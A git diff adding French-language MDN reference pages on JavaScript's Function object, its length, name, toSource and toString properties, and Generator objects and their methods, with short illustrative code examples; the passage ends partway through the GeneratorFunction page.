L'objet global Function ne possède pas de méthodes ou de propriétés propres. Cependant, il est lui-même une fonction et hérite de certaines méthodes et propriétés depuis {{jsxref("Function.prototype")}} grâce à la chaîne de prototype.

+ +

Le prototype de Function

+ +

Propriétés

+ +
{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/Function/prototype', 'Propri.C3.A9t.C3.A9s')}}
+ +

Méthodes

+ +
{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/Function/prototype', 'M.C3.A9thodes')}}
+ +

Les instances de Function

+ +

Les instances de Function héritent des méthodes et propriétés de {{jsxref("Function.prototype")}}. Comme pour les autres constructeurs, il est possible de modifier le prototype du constructeur afin d'apporter des modifications à toutes les instances de Function.

+ +

Exemple

+ +

Définir des arguments avec le constructeur Function

+ +

Le code suivant permet de créer un objet Function qui utilise deux arguments :

+ +
// Cet exemple peut être lancé dans votre console JavaScript
+
+// On crée un fonction qui prend deux arguments
+// et qui en renvoie la somme
+var ajoute = new Function('a', 'b', 'return a + b');
+
+// On appelle la fonction
+ajoute(2, 6);
+// > 8
+
+ +

Les arguments "a" et "b" sont les noms des arguments formellement déclarés utilisés dans le corps de la fonction : "return a + b".

+ +

Différence entre le constructeur Function et les déclarations de fonction

+ +

Les fonctions créées avec le constructeur {{jsxref("Function()")}} ne créent pas de fermetures liées au contexte de leur création. Ainsi, lorsqu'elles sont exécutées, elles ne peuvent accéder qu'aux variables globales et à leurs propres valeurs locales. Elles ne peuvent pas accéder aux variables de la portée dans laquelle le constructeur Function a été invoqué. Le comportement est différent de celui qu'on obtient avec {{jsxref("eval")}} avec du code contenant une expression de fonction.

+ +
var x = 10;
+
+function créerFonction1() {
+  var x = 20;
+  return new Function("return x;"); // ici |x| fait référence au |x| global
+}
+
+function créerFonction2() {
+  var x = 20;
+  function f() {
+    return x; // ici |x| fait référence au |x| local juste avant
+  }
+  return f;
+}
+
+var f1 = créerFonction1();
+console.log(f1());          // 10
+var f2 = créerFonction2();
+console.log(f2());          // 20
+ +

Bien que ce code fonctionne dans un navigateur web, l'appel à f1() provoquera une {{jsxref("ReferenceError")}} dans Node.js car x ne sera pas trouvé. En effet, pour Node, la portée de plus haut niveau n'est pas la portée globale et x est ici local à la fonction.

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.3', 'Function')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-function-objects', 'Function')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-function-objects', 'Function')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Function")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Fonctions", "Les fonctions","",1)}}
    • +
  • L'instruction {{jsxref("Instructions/function", "function")}}
    • +
  • L'expression {{jsxref("Opérateurs/L_opérateur_function", "function")}}
    • +
  • L'instruction {{jsxref("Instructions/function*", "function*")}}
    • +
  • L'expression {{jsxref("Opérateurs/function*", "function*")}}
    • +
  • {{jsxref("AsyncFunction")}}
    • +
  • {{jsxref("GeneratorFunction")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/function/length/index.html b/files/fr/web/javascript/reference/global_objects/function/length/index.html new file mode 100644 index 0000000000..023b40a5f8 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/function/length/index.html @@ -0,0 +1,89 @@ +--- +title: Function.length +slug: Web/JavaScript/Reference/Objets_globaux/Function/length +tags: + - Function + - JavaScript + - Propriété + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Function/length +--- +
{{JSRef}}
+ +

La propriété length définit le nombre de paramètres attendus par la fonction.

+ +
{{EmbedInteractiveExample("pages/js/function-length.html")}}
+ + + +
{{js_property_attributes(0,0,1)}}
+ +

Description

+ +

length est une propriété des fonctions qui indique le nombre d'arguments attendus par la fonction (ce qui correspond au nombre d'arguments formellement déclarés). Cette quantité n'inclue pas les {{jsxref("Fonctions/paramètres_du_reste", "paramètres du reste", "", 1)}} et ne compte que les paramètres situés avant le premier paramètre avec une valeur par défaut. Cette propriété est différente de {{jsxref("Fonctions/arguments/length", "arguments.length")}} qui est locale à la fonction et qui décrit le nombre d'arguments réellement passés à la fonction.

+ +

Propriété du constructeur Function

+ +

Le constructeur {{jsxref("Function")}} est lui-même un objet {{jsxref("Function")}}. Sa propriété length vaut 1. Les attributs de cette propriété sont : Écrivable : false, Énumérable : false, Configurable : true.

+ +

Propriété du prototype de Function

+ +

La propriété length du prototype de {{jsxref("Function")}} vaut 0.

+ +

Exemples

+ +
console.log(Function.length); /* 1 */
+
+console.log((function()        {}).length); /* 0 */
+console.log((function(a)       {}).length); /* 1 */
+console.log((function(a, b)    {}).length); /* 2 etc. */
+console.log((function(...args) {}).length);
+// 0, le paramètre du reste n'est pas compté
+console.log((function(a, b = 1, c) {}).length);
+// 1, seuls les paramètres avant les valeurs par
+// défaut sont comptés
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.1.
{{SpecName('ES5.1', '#sec-15.3.5.1', 'Function.length')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-function-instances-length', 'Function.length')}}{{Spec2('ES6')}}L'attribut configurable de cette propriété vaut true désormais.
{{SpecName('ESDraft', '#sec-function-instances-length', 'Function.length')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Function.length")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Function", "Function")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/function/name/index.html b/files/fr/web/javascript/reference/global_objects/function/name/index.html new file mode 100644 index 0000000000..b9b6f8300e --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/function/name/index.html @@ -0,0 +1,201 @@ +--- +title: Function.name +slug: Web/JavaScript/Reference/Objets_globaux/Function/name +tags: + - ECMAScript 2015 + - Function + - JavaScript + - Propriété + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Function/name +--- +
{{JSRef}}
+ +

La propriété function.name est une propriété en lecture seule qui renvoie le nom de la fonction courante ou "anonymous" si celle-ci a été créée de façon anonyme.

+ +
{{EmbedInteractiveExample("pages/js/function-name.html")}}
+ + + +
{{js_property_attributes(0,0,1)}}
+ +
+

Note : Dans les implémentations non-standards antérieures à ES2015, l'attribut configurable valait false.

+
+ +

Exemples

+ +

Instruction de fonction

+ +

La propriété name renvoie le nom de la fonction lorsque celle-ci est utilisée dans une instruction de fonction.

+ +
function faireUnTruc() {}
+faireUnTruc.name; // "faireUnTruc"
+
+ +

Fonctions créées avec un constructeur

+ +

Lorsqu'on crée une fonction avec new Function(...) ou simplement Function(...), on crée uniquement des objets dont le nom est "anonymous".

+ +
(new Function).name; // "anonymous"
+ +

Inférence des noms de fonction

+ +

Les variables et les méthodes permettent d'inférer (c'est-à-dire de « deviner ») le nom des fonctions anonymes en fonction de leur position syntaxique (cette fonctionnalité est apparue avec ECMAScript 2015).

+ +
var f = function() {};
+var objet = {
+  uneMéthode: function() {}
+};
+
+console.log(f.name); // "f"
+console.log(objet.uneMéthode.name); // "uneMéthode"
+
+ +

On peut définir une fonction avec un nom grâce à une {{jsxref("Opérateurs/L_opérateur_function", "expression de fonction", "", 1)}}:

+ +
var objet = {
+  uneMéthode: function objet_maMéthode() {}
+};
+console.log(objet.uneMéthode.name); // logs "objet_maMéthode"
+
+try { objet_maMéthode } catch(e) { console.log(e); }
+// ReferenceError: objet_maMéthode is not defined
+
+ +

On ne peut pas changer le nom d'une fonction, cette propriété est uniquement en lecture :

+ +
var objet = {
+  // anonyme
+  uneMéthode: function() {}
+};
+
+objet.uneMéthode.name = 'uneMéthode';
+console.log(object.uneMéthode.name); // une chaîne vide, uneMéthode est anonyme
+
+ +

Pour modifier le nom, on pourrait cependant utiliser la méthode {{jsxref("Object.defineProperty()")}}.

+ +

Notation raccourcie pour les méthodes

+ +
var o = {
+  toto(){}
+};
+o.toto.name; // "toto";
+ +

Noms des fonctions liées

+ +

{{jsxref("Function.bind()")}} produit une fonction dont le nom sera la chaîne "bound " suivi du nom de la fonction.

+ +
function toto() {};
+toto.bind({}).name; // "bound toto"
+
+ +

Noms de fonction pour les accesseurs et les mutateurs

+ +

Lorsqu'on utilise les propriétés d'accesseur get / set, "get" ou "set" apparaîtra avant le nom de la fonction.

+ +
var o = {
+  get toto(){},
+  set toto(x){}
+};
+
+var descripteur = Object.getOwnPropertyDescriptor(o, "toto");
+descripteur.get.name; // "get toto"
+descripteur.set.name; // "set toto";
+ +

Noms des fonctions utilisées dans les classes

+ +

On peut utiliser la notation obj.constructor.name pour vérifier la « classe » d'un objet (attention aux avertissements ci-après) :

+ +
function Toto() {}  // Syntaxe ES2015 : class Toto {}
+
+var instanceDeToto = new Toto();
+console.log(instanceDeToto.constructor.name); // affiche "Toto" dans la console
+
+ +

Attention : l'interpréteur utilisera la propriété native Function.name uniquement si la fonction ne possède pas une propriété en propre intitulée name (cf section 9.2.11 de la spécification ECMAScript2015). Cependant, ES2015 indique que les propriétés définies avec mot-clé static seront des propriétés propres de la fonction constructrice (cf. ECMAScript2015, 14.5.14.21.b + 12.2.6.9). Ainsi, il n'est plus possible d'obtenir le nom de la classe si celle-ci possède une méthode statique intitulée name() :

+ +
class Toto {
+  constructor() {}
+  static name() {}
+}
+
+ +

Avec static name(), Toto.name ne contient plus le nom de la classe mais une référence à l'objet name(). La définition utilisée ci-avant se comporte de façon semblable à ce fragment de code ES5 :

+ +
function Toto() {}
+Object.defineProperty(Toto, 'name', { writable: true });
+Toto.name = function() {};
+
+ +

Il est donc parfois erroné de penser que Function.name pointe toujours vers le nom de la classe.

+ +

Noms de fonction sous la forme de symboles

+ +

Si un symbole ({{jsxref("Symbol")}}) est utilisé comme nom d'une fonction et que celui-ci dispose d'une description, c'est cette dernière qui sera utilisée comme nom de la méthode, entre crochets :

+ +
var sym1 = Symbol("Toto");
+var sym2 = Symbol();
+var o = {
+  [sym1]: function(){},
+  [sym2]: function(){}
+};
+
+o[sym1].name; // "[Toto]"
+o[sym2].name; // ""
+ +

Compresseurs et outils de minification JavaScript

+ +

Attention à l'utilisation de Function.name lorsque le code source est transformé par certains outils. En effet, ceux-ci réduisent généralement la taille d'un programme en compressant les espaces et en modifiant parfois les noms de variables. Ainsi, un fragment de code comme :

+ +
function Toto() {};
+var toto = new Toto();
+
+if (Toto.constructor.name === 'Toto') {
+  console.log("'toto' est une instance de 'Toto'");
+} else {
+  console.log('Oups !');
+}
+
+ +

pourrait être compressé en :

+ +
function a() {};
+var b = new a();
+if (b.constructor.name === 'Toto') {
+  console.log("'toto' est une instance de 'Toto'");
+} else {
+  console.log('Oups !');
+}
+
+ +

Dans la version non-compressée, la condition du test est remplie et on affiche 'toto' est une instance de 'Toto' dans la console. Mais dans la version compressée, la condition n'est pas vérifiée. Lorsqu'on utilise name, il faut s'assurer que les outils utilisés ne modifient pas le nom des fonctions.

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-name', 'name')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-function-instances-name', 'name')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Function.name")}}

diff --git a/files/fr/web/javascript/reference/global_objects/function/tosource/index.html b/files/fr/web/javascript/reference/global_objects/function/tosource/index.html new file mode 100644 index 0000000000..3eb4b0d6dc --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/function/tosource/index.html @@ -0,0 +1,67 @@ +--- +title: Function.prototype.toSource() +slug: Web/JavaScript/Reference/Objets_globaux/Function/toSource +tags: + - Function + - JavaScript + - Méthode + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Function/toSource +--- +
{{JSRef}}{{non-standard_header}}
+ +

La méthode toSource() renvoie une chaîne de caractères représentant le code source de l'objet.

+ +

Syntaxe

+ +
function.toSource();
+Function.toSource();
+
+ +

Valeur de retour

+ +

Une chaîne de caractères représentant le code source de l'objet.

+ +

Description

+ +

La méthode toSource() renvoie les valeurs suivantes :

+ +
    +
  • Pour l'objet natif {{jsxref("Function")}}, toSource() renvoie la chaîne suivante qui indique que le code source n'est pas disponible : + + 
    function Function() {
+    [native code]
+}
+
    +
    • +
  • Pour les fonctions définies dans les scripts, toSource() renverra la chaîne correspondant au code source JavaScript de l'objet. + 
    function coucou() {
+  console.log("Coucou le monde");
+}
+
+coucou.toSource();
+// produira la chaîne de caractères
+// "function coucou() {
+//   console.log(\"Coucou le monde\");
+// }"
+
    +
    • +
+ +

De façon générale, cette méthode est utilisée en interne par le moteur JavaScript et n'est pas utilisée dans les scripts tiers. Il est possible d'utiliser cette méthode pour une aide au débogage et pouvoir examiner le contenu d'un objet.

+ +

Spécifications

+ +

Ne fait partie d'aucune spécification. Implémentée avec JavaScript 1.3.

+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Function.toSource")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Object.prototype.toSource()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/function/tostring/index.html b/files/fr/web/javascript/reference/global_objects/function/tostring/index.html new file mode 100644 index 0000000000..db667ff0f6 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/function/tostring/index.html @@ -0,0 +1,98 @@ +--- +title: Function.prototype.toString() +slug: Web/JavaScript/Reference/Objets_globaux/Function/toString +tags: + - Function + - JavaScript + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Function/toString +--- +
{{JSRef}}
+ +

La méthode toString() renvoie une chaîne de caractères représentant le code source de la fonction.

+ +
{{EmbedInteractiveExample("pages/js/function-tostring.html")}}
+ + + +

Syntaxe

+ +
function.toString(indentation)
+ +

Valeur de retour

+ +

Une chaîne de caractères qui représente le code source de la fonction.

+ +

Description

+ +

L'objet {{jsxref("Function")}} redéfinit la méthode {{jsxref("Object.prototype.toString", "toString")}} de l'objet {{jsxref("Object")}} ; il n'hérite donc pas de {{jsxref("Object.prototype.toString")}}. Pour les objets {{jsxref("Function")}}, la méthode toString renvoie une chaîne de caractères représentant l'objet sous la forme d'une déclaration de fonction. Pour ce faire, toString décompile la fonction pour renvoyer une chaîne qui contient le mot-clé function, la liste des arguments, les accolades et la source correspondant au corps de la fonction.

+ +

Le moteur JavaScript appelle la méthode toString automatiquement lorsqu'un objet {{jsxref("Function")}} doit être représenté textuellement (par exemple lorsqu'une fonction doit être concaténée avec une chaîne de caractères).

+ +

La méthode toString() lèvera une exception {{jsxref("TypeError")}} (« Function.prototype.toString called on incompatible object ») si la valeur this n'est pas un objet Function.

+ +
Function.prototype.toString.call("toto"); // TypeError
+
+ +

Si la méthode toString() est appelée sur des fonctions natives qui ne sont pas définies dans le script, toString() renvoie une chaîne de caractères indiquant le caractère natif :

+ +
Math.abs.toString();
+
+"function abs() {
+    [native code]
+}"
+ +

Si la méthode toString() est appelée sur une fonction créée avec le constructeur Function, toString() renverra le code source d'une fonction intitulée anonymous et utilisera les paramètres et le corps de la fonction fournis.

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.1.
Function.prototype.toString()BrouillonStandardise la chaîne de caractères utilisée pour les fonctions natives ainsi que la gestion des fins de ligne.
{{SpecName('ES6', '#sec-function.prototype.tostring', 'Function.prototype.toString')}}{{Spec2('ES6')}}Critères supplémentaires ajoutés sur la représentation de la chaîne.
{{SpecName('ESDraft', '#sec-function.prototype.tostring', 'Function.prototype.toString')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Function.toString")}}

+ +

Notes spécifiques à Firefox

+ +
    +
  • À partir de Firefox 17.0, Function.prototype.toString() a été implémenté en sauvegardant le code source de la fonction. La méthode utilisant la décompilation a été retirée et le paramètre indentation n'est donc plus nécessaire. Pour plus d'informations, voir {{bug("761723")}}.
    • +
  • À partir de Firefox 38 et jusqu'à Firefox 63, Function.prototype.toString() levait une exception pour les {{jsxref("Proxy")}} (cf. {{bug(1100936)}} et {{bug(1440468)}}).
    • +
+ +

Voir aussi

+ +
    +
  • {{jsxref("Object.prototype.toString()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/generator/index.html b/files/fr/web/javascript/reference/global_objects/generator/index.html new file mode 100644 index 0000000000..3557fe4bb2 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/generator/index.html @@ -0,0 +1,135 @@ +--- +title: Generator +slug: Web/JavaScript/Reference/Objets_globaux/Generator +tags: + - ECMAScript 2015 + - Generator + - JavaScript + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Generator +--- +
{{JSRef}}
+ +

L'objet Generator est renvoyé par une {{jsxref("Instructions/function*","fonction génératrice","",1)}}, c'est à la fois un itérateur et un itérable.

+ +

Syntaxe

+ +
function* gen() {
+  yield 1;
+  yield 2;
+  yield 3;
+}
+
+var g = gen(); // "Generator { }"
+ +

Méthodes

+ +
+
{{jsxref("Generator.prototype.next()")}}
+
Renvoie une valeur générée par l'expression {{jsxref("Opérateurs/yield", "yield")}}.
+
{{jsxref("Generator.prototype.return()")}}
+
Renvoie la valeur donnée et termine le générateur.
+
{{jsxref("Generator.prototype.throw()")}}
+
Lève une exception dans un générateur. Cette opération termine le générateur, sauf si l'exception est interceptée dans le générateur.
+
+ +

Exemple

+ +

Un itérateur infini

+ +
function* idMaker(){
+    var index = 0;
+    while(true)
+        yield index++;
+}
+
+var gen = idMaker(); // "Generator { }"
+
+console.log(gen.next().value); // 0
+console.log(gen.next().value); // 1
+console.log(gen.next().value); // 2
+// ...
+ +

Générateurs historiques

+ +

Firefox (SpiderMonkey) implémente également une version antérieure pour les générateurs avec JavaScript 1.7. Pour cette syntaxe, il n'y a pas besoin d'utiliser l'astérisque dans la déclaration de la fonction, il suffit d'utiliser le mot-clé yield dans le corps de la fonction. Les générateurs historiques sont une fonctionnalité dépréciée et seront supprimés à l'avenir ({{bug(1083482)}}), il est fortement déconseillé de les utiliser.

+ +

Méthodes pour les générateurs historiques

+ +
+
Generator.prototype.next() {{non-standard_inline}}
+
Renvoie une valeur générée par l'expression {{jsxref("Opérateurs/yield", "yield")}}. Cette méthode correspond à next() pour les générateurs ES2015.
+
Generator.prototype.close() {{non-standard_inline}}
+
Clôture le générateur, tout appel ultérieur à next() renverra une exception {{jsxref("StopIteration")}}. Cela correspond à la méthode return() pour les générateurs ES2015.
+
Generator.prototype.send() {{non-standard_inline}}
+
Utilisée pour envoyer une valeur à un générateur. La valeur est renvoyée avec une expression {{jsxref("Opérateurs/yield", "yield")}} et renvoie une valeur générée par la prochaine expression {{jsxref("Opérateurs/yield", "yield")}}. send(x) correspond à next(x) pour les générateurs ES2015.
+
Generator.prototype.throw() {{non-standard_inline}}
+
Lève une exception au sein d'un générateur. Cela correspond à la méthode throw() pour les générateurs ES2015.
+
+ +

Exemple utilisant un générateur historique

+ +
function* fibonacci() {
+  var a = yield 1;
+  yield a * 2;
+}
+
+var it = fibonacci();
+console.log(it);          // "Generator {  }"
+console.log(it.next());   // 1
+console.log(it.send(10)); // 20
+console.log(it.close());  // undefined
+console.log(it.next());   // throws StopIteration (le générateur est clôturé)
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-generator-objects', 'Generator objects')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-generator-objects', 'Generator objects')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Generator")}}

+ +

Voir aussi

+ +

Générateurs historiques

+ +
    +
  • {{jsxref("Instructions/Fonction_génératrice_historique", "Fonction génératrice historique", "", 1)}}
    • +
  • {{jsxref("Opérateurs/function*", "L'expression d'un générateur historique", "", 1)}}
    • +
  • {{jsxref("StopIteration")}}
    • +
  • Le protocole itérateur historique
    • +
+ +

Générateurs ES2015

+ +
    +
  • {{jsxref("Fonctions", "Fonctions", "", 1)}}
    • +
  • {{jsxref("Instructions/function", "function")}}
    • +
  • L'expression {{jsxref("L_opérateur_function", "function")}}
    • +
  • {{jsxref("Function")}}
    • +
  • {{jsxref("Instructions/function*", "function*")}}
    • +
  • L'expression {{jsxref("Opérateurs/function*", "function*")}}
    • +
  • {{jsxref("GeneratorFunction")}}
    • +
  • Le protocole Iterator
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/generator/next/index.html b/files/fr/web/javascript/reference/global_objects/generator/next/index.html new file mode 100644 index 0000000000..059ebdac04 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/generator/next/index.html @@ -0,0 +1,116 @@ +--- +title: Generator.prototype.next() +slug: Web/JavaScript/Reference/Objets_globaux/Generator/next +tags: + - ECMAScript 2015 + - Generator + - JavaScript + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Generator/next +--- +
{{JSRef}}
+ +

La méthode next() renvoie un objet possédant deux propriétés done et value. Cette méthode peut également recevoir un paramètre pour envoyer une valeur au générateur.

+ +

Syntaxe

+ +
gen.next(valeur)
+ +

Paramètres

+ +
+
valeur
+
La valeur à envoyer au générateur. La valeur sera affectée comme résultat d'une expression yield. Autrement dit, lorsque le générateur contient une expression de la forme variable = yield expression, c'est l'argument valeur qui sera affecté à variable.
+
+ +

Valeur de retour

+ +

Un {{jsxref("Object")}} possédant deux propriétés :

+ +
    +
  • done (un booléen) + +
      +
    • vaut true si l'itérateur a atteint la fin de la série sur laquelle il itère. Dans ce cas, la propriété value définit la valeur de retour pour l'itérateur.
      • +
    • vaut false si l'itérateur a pu fournir la prochaine valeur de la série. C'est la valeur par défaut si la propriété done n'est pas définie.
      • +
    +
    • +
  • value - n'importe quelle valeur JavaScript renvoyée par l'itérateur. Cette propriété peut être absente lorsque done vaut true.
    • +
+ +

Exemples

+ +

Utiliser next()

+ +

L'exemple suivant illustre comment utiliser un générateur simple et les objets renvoyés par la méthode next :

+ +
function* gen() {
+  yield 1;
+  yield 2;
+  yield 3;
+}
+
+var g = gen(); // "Generator { }"
+g.next();      // "Object { value: 1, done: false }"
+g.next();      // "Object { value: 2, done: false }"
+g.next();      // "Object { value: 3, done: false }"
+g.next();      // "Object { value: undefined, done: true }"
+
+ +

Envoyer des valeurs à un générateur

+ +

Ici, next est appelé avec une valeur. On notera ici que le premier appel n'affiche rien car le générateur n'a encore rien généré.

+ +
function* gen() {
+  while(true) {
+    var value = yield null;
+    console.log(value);
+  }
+}
+
+var g = gen();
+g.next(1);
+// "{ value: null, done: false }"
+g.next(2);
+// 2
+// "{ value: null, done: false }"
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-generator.prototype.next', 'Generator.prototype.next')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-generator.prototype.next', 'Generator.prototype.next')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.Generator.next")}}

+
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/generator/return/index.html b/files/fr/web/javascript/reference/global_objects/generator/return/index.html new file mode 100644 index 0000000000..e67c07ad43 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/generator/return/index.html @@ -0,0 +1,102 @@ +--- +title: Generator.prototype.return() +slug: Web/JavaScript/Reference/Objets_globaux/Generator/return +tags: + - ECMAScript 2015 + - Generator + - JavaScript + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Generator/return +--- +
{{JSRef}}
+ +

La méthode return() renvoie la valeur fournie et termine le générateur.

+ +

Syntaxe

+ +
gen.return(valeur)
+ +

Paramètres

+ +
+
valeur
+
La valeur à renvoyer
+
+ +

Valeur de retour

+ +

La valeur fournie comme argument.

+ +

Exemples

+ +

Utiliser return()

+ +

L'exemple suivant illustre une utilisation simple d'un générateur et de la méthode return().

+ +
function* gen() {
+  yield 1;
+  yield 2;
+  yield 3;
+}
+
+var g = gen();
+
+g.next();         // { value: 1, done: false }
+g.return("toto"); // { value: "toto", done: true }
+g.next();         // { value: undefined, done: true }
+
+ +
+

Note : Si done vaut true, return(valeur) renverra la même chose que next() : undefined. Si aucun argument n'est fourni, la propriété value de l'objet renvoyé sera la même qu'avec un appel à .next(). Si un argument est fourni, c'est lui qui sera utilisé comme valeur pour l'attribut value du résultat.

+ +
function* gen() {
+  yield 1;
+  yield 2;
+  yield 3;
+}
+var g = gen();
+console.log(g.next()); // { value: 1; done: false}
+console.log(g.next()); // { value: 2; done: false}
+console.log(g.next()); // { value: 3; done: false}
+console.log(g.next()); // { value: undefined; done: true}
+console.log(g.return()); // { value: undefined; done: true}
+console.log(g.return(1)); // { value: 1; done: true}
+
+
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-generator.prototype.return', 'Generator.prototype.return')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-generator.prototype.return', 'Generator.prototype.return')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Generator.return")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/generator/throw/index.html b/files/fr/web/javascript/reference/global_objects/generator/throw/index.html new file mode 100644 index 0000000000..efcc057257 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/generator/throw/index.html @@ -0,0 +1,101 @@ +--- +title: Generator.prototype.throw() +slug: Web/JavaScript/Reference/Objets_globaux/Generator/throw +tags: + - ECMAScript 2015 + - Generator + - JavaScript + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Generator/throw +--- +
{{JSRef}}
+ +

La méthode throw() lève une erreur dans un générateur.

+ +

Syntaxe

+ +
gen.throw(exception)
+ +

Paramètres

+ +
+
exception
+
L'exception à lever. On préfèrera généralement utiliser un objet qui est une instance d'{{jsxref("Error")}}.
+
+ +

Valeur de retour

+ +

Un {{jsxref("Object")}} avec deux propriétés :

+ +
    +
  • done (un booléen) + +
      +
    • Qui vaut true lorsque l'itérateur a fini de parcourir la suite. Dans ce cas, value correspondra éventuellement à la valeur de retour de l'itérateur.
      • +
    • Qui vaut false si l'itérateur a pu produire la prochaine valeur de la série.
      • +
    +
    • +
  • value : une valeur renvoyée par l'itérateur. Lorsque done vaut true, cette valeur peut être absente ou valoir undefined.
    • +
+ +

Exemples

+ +

Utiliser throw()

+ +

Dans l'exemple suivant, on utilise un générateur simple et on génère une exception grâce à la méthode throw(). Une exception peut être interceptée avec un bloc {{jsxref("Instructions/try...catch","try...catch")}} usuel.

+ +
function* gen() {
+  while(true) {
+    try {
+       yield 42;
+    } catch(e) {
+      console.log("Erreur interceptée !");
+    }
+  }
+}
+
+var g = gen();
+g.next();
+// { value: 42, done: false }
+g.throw(new Error("Quelque chose s'est mal passé"));
+// "Erreur interceptée !"
+// { value: 42, done: false }
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{SpecName('ES2015', '#sec-generator.prototype.throw', 'Generator.prototype.throw')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-generator.prototype.throw', 'Generator.prototype.throw')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.Generator.throw")}}

+
+ +

Voir aussi

+ +
    +
  • {{jsxref("Instructions/function*","function*")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/generatorfunction/index.html b/files/fr/web/javascript/reference/global_objects/generatorfunction/index.html new file mode 100644 index 0000000000..fa791f53b6 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/generatorfunction/index.html @@ -0,0 +1,115 @@ +--- +title: GeneratorFunction +slug: Web/JavaScript/Reference/Objets_globaux/GeneratorFunction +tags: + - Constructor + - ECMAScript 2015 + - GeneratorFunction + - Iterator + - JavaScript + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/GeneratorFunction +--- +
{{JSRef}}
+ +

Le constructeur GeneratorFunction permet de créer un nouvel objet qui est une {{jsxref("Instructions/function*", "fonction génératrice","",1)}}. En JavaScript, chaque générateur (ou fonction génératrice) est un objet GeneratorFunction.

+ +

L'objet GeneratorFunction n'est pas un objet global. Il peut être obtenu en exécutant le code suivant :

+ +
Object.getPrototypeOf(function*(){}).constructor
+
+ +

Syntaxe

+ +
new GeneratorFunction ([arg1[, arg2[, ...argN]],] corpsFonction)
+ +

Paramètres

+ +
+
arg1, arg2, ... argN
+
Les noms à utiliser pour les arguments formellement déclarés. Chacun doit être une chaîne de caractères correspondant à un identifiant JavaScript valide ou une liste de telles chaînes séparées par des virgules. Par exemple, on peut avoir "x", "maValeur", ou "a,b".
+
corpsFonction
+
Une chaîne qui contient les instructions JavaScript qui composent la définition de la fonction.
+
+ +

Description

+ +

